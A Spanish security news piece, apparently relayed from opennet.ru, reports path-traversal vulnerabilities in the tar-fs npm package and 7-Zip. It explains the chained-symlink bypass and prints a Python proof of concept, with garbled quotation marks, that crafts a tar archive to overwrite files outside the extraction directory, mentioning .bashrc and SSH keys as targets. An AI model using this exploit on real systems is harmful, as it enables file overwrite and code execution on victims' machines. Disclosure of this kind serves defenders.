Vulnerabilidades en tar-fs y 7-Zip que permiten escribir archivos fuera del directorio base

Se ha descubierto una vulnerabilidad en el paquete NPM tar-fs (CVE-2025-48387) que permite, al descomponer un archivo tar especialmente diseñado, escribir archivos en cualquier parte del sistema de archivos, sin limitarse al directorio en el que se realiza la descompresión (según lo permita el acceso del usuario actual). La vulnerabilidad también puede utilizarse para sobrescribir archivos existentes; por ejemplo, se pueden sobrescribir los archivos «.ssh/id_rsa» o «.bashrc» en el directorio personal del usuario para ejecutar su propio código en el sistema.

Se le ha asignado un nivel de riesgo crítico a este problema, dado que el paquete tar-fs tiene 23 millones de descargas semanales y se utiliza como dependencia en 1155 proyectos. La vulnerabilidad se ha corregido en las versiones 3.0.9, 2.1.3 y 1.16.5, que se lanzaron en mayo, pero la información sobre la vulnerabilidad se hizo pública casi tres meses después.

La vulnerabilidad es causada por la falta de comprobaciones adecuadas sobre los enlaces simbólicos y duros en el archivo comprimido para verificar si están fuera del directorio de destino para la descompresión. Se utilizan dos enlaces simbólicos para eludir las comprobaciones: el primero apunta al directorio raíz de descompresión del archivo («.») y el segundo se crea en relación con el primer enlace simbólico, usando en su nombre los caracteres «../» para salir del directorio base. Por ejemplo, el primer enlace «noop/noop/noop» apunta a «.», mientras que el segundo «noop/noop/noop/../../../..» se expande como «./../../../..». Para permitir la sobrescritura de archivos en el archivo comprimido, se puede crear un enlace duro que apunte a un archivo externo en relación con el segundo enlace simbólico. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = (»noop/« * 15) + (»../« * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root/home/username/flag/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root/home/username/flag/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

Se ha detectado una vulnerabilidad similar (CVE-2025-55188) en el compresor 7-Zip. También se pueden utilizar enlaces simbólicos con la secuencia «..\/» en la ruta del archivo para escribir archivos fuera del directorio base en 7-Zip. Este problema puede ser explotado al descomprimir cualquier archivo comprimido que soporte enlaces simbólicos, como zip, tar, 7z y rar, usando 7-Zip. El problema se ha solucionado en la versión 7-Zip 25.01.

Fuente: opennet.ru

Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS 🔥 Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS | ProHoster